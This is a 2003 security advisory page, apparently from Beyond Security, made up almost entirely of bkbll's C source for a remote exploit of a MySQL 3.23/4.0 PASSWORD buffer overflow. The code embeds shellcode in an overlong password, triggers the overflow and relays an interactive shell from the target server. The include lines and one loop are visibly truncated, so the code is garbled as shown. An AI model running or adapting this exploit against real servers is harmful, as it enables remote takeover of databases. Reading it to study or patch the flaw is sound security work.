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Title 15/9/2003
Buffer Overflow in MySQL (PASSWORD, Exploit)
Summary
As we reported in our previous article: Buffer Overflow in MySQL (PASSWORD), a
vulnerability in MySQL allows users that are able to change their password to
cause it to overflow an internal buffer while causing it to execute arbitrary
code. The following exploit code can be used to test your system for the
vulnerability.
Details
Exploit:
/* Mysql 3.23.x/4.0.x remote exploit
* proof of concept
* using jmp *eax
* bkbll (bkbll cnhonker.net,bkbll tom.com) 2003/09/12
* compile:gcc -o mysql mysql.c -L/usr/lib/mysql -lmysqlclient
* DO NOT DISTRUBITED IT
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define PAD 19*4*2
#define JMPADDR 0x42125b2b
#define ROOTUSER "root"
#define PORT 3306
#define MYDB "mysql"
#define ALTCOLUMSQL "ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT"
#define LISTUSERSQL "SELECT user FROM mysql.user WHERE user!='root' OR
user='root LIMIT 1,1'"
#define FLUSHSQL
"\x11\x00\x00\x00\x03\x66\x6C\x75\x73\x68\x20\x70\x72\x69\x76\x69\x6C\x65\x67\x65\x73"
#define BUF 1024
MYSQL *conn;
char NOP[]="90";
/*
char shellcode[]=
"31c031db31c9b002"
"cd8085c0751b4b31"
"d2b007cd8031c0b0"
"40cd8089c331c9b1"
"09b025cd80b001cd"
"80b017cd8031c050"
"405089e331c9b0a2"
"cd80b1e089c883e8"
"0af7d04089c731c0"
"404c89e250505257"
"518d4c240431dbb3"
"0ab066cd805983f8"
"017505803a497409"
"e2d231c04089c3cd"
"8089fbb103b03f49"
"cd8041e2f851686e"
"2f7368682f2f6269"
"89e351682d696c70"
"89e251525389e131"
"d231c0b00bcd8090";
*/
char shellcode[]=
"db31c03102b0c931"
"c08580cd314b1b74"
"cd07b0d2b0c03180"
"8980cd40b1c931c3"
"cd25b009cd01b080"
"cd17b08050c03180"
"e3895040a2b0c931"
"e0b180cde883c889"
"40d0f70ac031c789"
"e2894c4057525050"
"244c8d51b3db3104"
"cd66b00af8835980"
"800575010974493a"
"c031d2e2cdc38940"
"b1fb8980493fb003"
"e24180cd6e6851f8"
"6868732f69622f2f"
"6851e389706c692d"
"5251e28931e18953"
"b0c031d29080cd0b";
int type=1;
struct
{
char *os;
u_long ret;
} targets[] =
{
{ "glibc-2.2.93-5", 0x42125b2b },
},v;
void usage(char *);
void sqlerror(char *);
MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname);
main(int argc,char **argv)
{
MYSQL_RES *result;
MYSQL_ROW row;
char jmpaddress[8];
char buffer[BUF],muser[20],buf2[800];
my_ulonglong rslines;
struct sockaddr_in clisocket;
int i=0,j,clifd,count,a;
char data1,c;
fd_set fds;
char *server=NULL,*rootpass=NULL;
if(argc<3) usage(argv[0]);
while((c = getopt(argc, argv, "d:t:p:"))!= EOF)
{
switch (c)
{
case 'd':
server=optarg;
break;
case 't':
type = atoi(optarg);
if((type > sizeof(targets)/sizeof(v)) || (type < 1))
usage(argv[0]);
break;
case 'p':
rootpass=optarg;
break;
default:
usage(argv[0]);
return 1;
}
}
if(server==NULL || rootpass==NULL)
usage(argv[0]);
memset(muser,0,20);
memset(buf2,0,800);
printf("@-------------------------------------------------@\n");
printf("# Mysql 3.23.x/4.0.x remote exploit(2003/09/12) #\n");
printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
printf("---------------------------------------------------\n");
printf("[+] Connecting to mysql server %s:%d....",server,PORT);
fflush(stdout);
conn=mysqlconn(server,PORT,ROOTUSER,rootpass,MYDB);
if(conn==NULL) exit(0);
printf("ok\n");
printf("[+] ALTER user column...");
fflush(stdout);
if(mysql_real_query(conn,ALTCOLUMSQL,strlen(ALTCOLUMSQL))!=0)
sqlerror("ALTER user table failed");
//select
printf("ok\n");
printf("[+] Select a valid user...");
fflush(stdout);
if(mysql_real_query(conn,LISTUSERSQL,strlen(LISTUSERSQL))!=0)
sqlerror("select user from table failed");
printf("ok\n");
result=mysql_store_result(conn);
if(result==NULL)
sqlerror("store result error");
rslines=mysql_num_rows(result);
if(rslines==0)
sqlerror("store result error");
row=mysql_fetch_row(result);
snprintf(muser,19,"%s",row[0]);
printf("[+] Found a user:%s\n",muser);
memset(buffer,0,BUF);
i=sprintf(buffer,"update user set password='");
sprintf(jmpaddress,"%x",JMPADDR);
jmpaddress[8]=0;
for(j=0;j{
memcpy(buf2+j,NOP,2);
}
memcpy(buf2+j,"06eb",4);
memcpy(buf2+PAD,jmpaddress,8);
memcpy(buf2+PAD+8,shellcode,strlen(shellcode));
j=strlen(buf2);
if(j%8)
{
j=j/8+1;
count=j*8-strlen(buf2);
memset(buf2+strlen(buf2),'A',count);
}
printf("[+] Password length:%d\n",strlen(buf2));
memcpy(buffer+i,buf2,strlen(buf2));
i+=strlen(buf2);
i+=sprintf(buffer+i,"' where user='%s'",muser);
mysql_free_result(result);
printf("[+] Modified password...");
fflush(stdout);
//get result
//write(2,buffer,i);
if(mysql_real_query(conn,buffer,i)!=0)
sqlerror("Modified password error");
//here I'll find client socket fd
printf("ok\n");
printf("[+] Finding client socket......");
j=sizeof(clisocket);
for(clifd=3;clifd<256;clifd++)
{
if(getpeername(clifd,(struct sockaddr *)&clisocket,&j)==-1) continue;
if(clisocket.sin_port==htons(PORT)) break;
}
if(clifd==256)
{
printf("FAILED\n[-] Cannot find client socket\n");
mysql_close(conn);
exit(0);
}
data1='I';
printf("ok\n");
printf("[+] socketfd:%d\n",clifd);
//let server overflow
printf("[+] Overflow server....");
fflush(stdout);
send(clifd,FLUSHSQL,sizeof(FLUSHSQL),0);
//if(mysql_real_query(conn,FLUSHSQL,strlen(FLUSHSQL))!=0)
// sqlerror("Flush error");
printf("ok\n");
printf("[+] sending OOB.......");
fflush(stdout);
if(send(clifd,&data1,1,MSG_OOB)<1)
{
perror("error");
mysql_close(conn);
exit(0);
}
printf("ok\r\n");
printf("[+] Waiting a shell.....");
fflush(stdout);
j=0;
memset(buffer,0,BUF);
while(1)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(clifd, &fds);
if (select(clifd+1, &fds, NULL, NULL, NULL) < 0)
{
if (errno == EINTR) continue;
break;
}
if (FD_ISSET(0, &fds))
{
count = read(0, buffer, BUF);
if (count <= 0) break;
if (write(clifd, buffer, count) <= 0) break;
memset(buffer,0,BUF);
}
if (FD_ISSET(clifd, &fds))
{
count = read(clifd, buffer, BUF);
if (count <= 0) break;
if(j==0) printf("Ok\n");
j=1;
if (write(1, buffer, count) <= 0) break;
memset(buffer,0,BUF);
}
}
}
void usage(char *s)
{
int a;
printf("@-------------------------------------------------@\n");
printf("# Mysql 3.23.x/4.0.x remote exploit(2003/09/12) #\n");
printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
printf("---------------------------------------------------\n");
printf("Usage:%s -d -p -t \n",s);
printf(" -d target host ip/name\n");
printf(" -p 'root' user paasword\n");
printf(" -t type [default:%d]\n",type);
printf(" ------------------------------\n");
for(a = 0; a < sizeof(targets)/sizeof(v); a++)
printf(" %d [0x%.8x]: %s\n", a+1, targets[a].ret, targets[a].os);
printf("\n");
exit(0);
}
MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname)
{
MYSQL *connect;
connect=mysql_init(NULL);
if(connect==NULL)
{
printf("FAILED\n[-] init mysql failed:%s\n",mysql_error(connect));
return NULL;
}
if(mysql_real_connect(connect,server,user,pass,dbname,port,NULL,0)==NULL)
{
printf("FAILED\n[-] Error: %s\n",mysql_error(connect));
return NULL;
}
return connect;
}
void sqlerror(char *s)
{
fprintf(stderr,"FAILED\n[-] %s:%s\n",s,mysql_error(conn));
mysql_close(conn);
exit(0);
}
Additional information
The information has been provided by bkbll.
Copyright 1998-2003 Beyond Security Ltd. All rights reserved.
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